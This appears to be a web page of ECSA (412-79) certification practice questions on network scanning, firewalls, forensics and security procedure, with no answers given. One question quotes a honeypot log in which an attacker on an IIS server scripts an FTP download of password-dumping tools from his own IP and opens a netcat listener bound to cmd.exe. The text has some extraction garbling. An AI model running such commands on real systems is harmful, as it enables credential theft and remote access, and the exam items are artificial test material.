412-79 ECCouncil EC-Council Certified Security Analyst (ECSA) Free Practice Exam Questions (2025 Updated)

After passively scanning the network of Department of Defense (DoD), you switch over to active scanning to identify live hosts on their network. DoD is a lage organization and should respond to any number of scans. You start an ICMP ping sweep by sending an IP packet to the broadcast address. Only five hosts responds to your ICMP pings; definitely not the number of hosts you were expecting. Why did this ping sweep only produce a few responses?

John is using Firewalk to test the security of his Cisco PIX firewall. He is also utilizing a sniffer located on a subnet that resides deep inside his network. After analyzing the sniffer log files, he does not see any of the traffic produced by Firewalk. Why is that?

Software firewalls work at which layer of the OSI model?

You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports should you open for SNMP to work through Firewalls (Select 2)

What are the security risks of running a "repair" installation for Windows XP?

When investigating a potential e-mail crime, what is your first step in the investigation?

You are trying to locate Microsoft Outlook Web Access Default Portal using Google search on the Internet. What search string will you use to locate them?

James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network. What type of DoS attack is James testing against his network?

With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches ________.

Which legal document allows law enforcement to search an office, place of business, or other locale for evidence relating to an alleged crime?

The following excerpt is taken from a honeypot log that was hosted at laB. wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD. EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

“cmd1.exe /c open 213.116.251.162 >ftpcom”

“cmd1.exe /c echo johna2k >>ftpcom”

“cmd1.exe /c echo

haxedj00 >>ftpcom”

“cmd1.exe /c echo get n

C.

exe >>ftpcom”

“cmd1.exe /c echo get pdump.exe >>ftpcom”

“cmd1.exe /c echo get samdump.dll >>ftpcom”

“cmd1.exe /c echo quit >>ftpcom”

“cmd1.exe /c ftp-

s:ftpcom”

“cmd1.exe /c nc

-l -p 6969 -

e cmd1.exe”

What can you infer from the exploit given?

An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekenD. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?

When monitoring for both intrusion and security events between multiple computers, it is essential that the computers‟ clocks are synchronize D. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace. What is the name of the service used to synchronize time among multiple computers?

When examining a file with a Hex Editor, what space does the file header occupy?

You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question weather evidence has been changed while at the laB. What can you do to prove that the evidence is the same as it was when it first entered the lab?

On Linux/Unix based Web servers, what privilege should the daemon service be run under?

You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for an open position:

7+ years experience in Windows Server environment

5+ years experience in Exchange 2000/2003 environment

Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired,

MCSE, CEH preferred

No Unix/Linux Experience needed

What is this information posted on the job website considered?

After attending a CEH security seminar, you make a list of changes you would like to perform on your network to increase its security. One of the first things you change is to switch the RestrictAnonymous setting from 0 to 1 on your servers. This, as you were told, would prevent anonymous users from establishing a null session on the server. Using Userinfo tool mentioned at the seminar, you succeed in establishing a null session with one of the servers. Why is that?

How many bits is Source Port Number in TCP Header packet?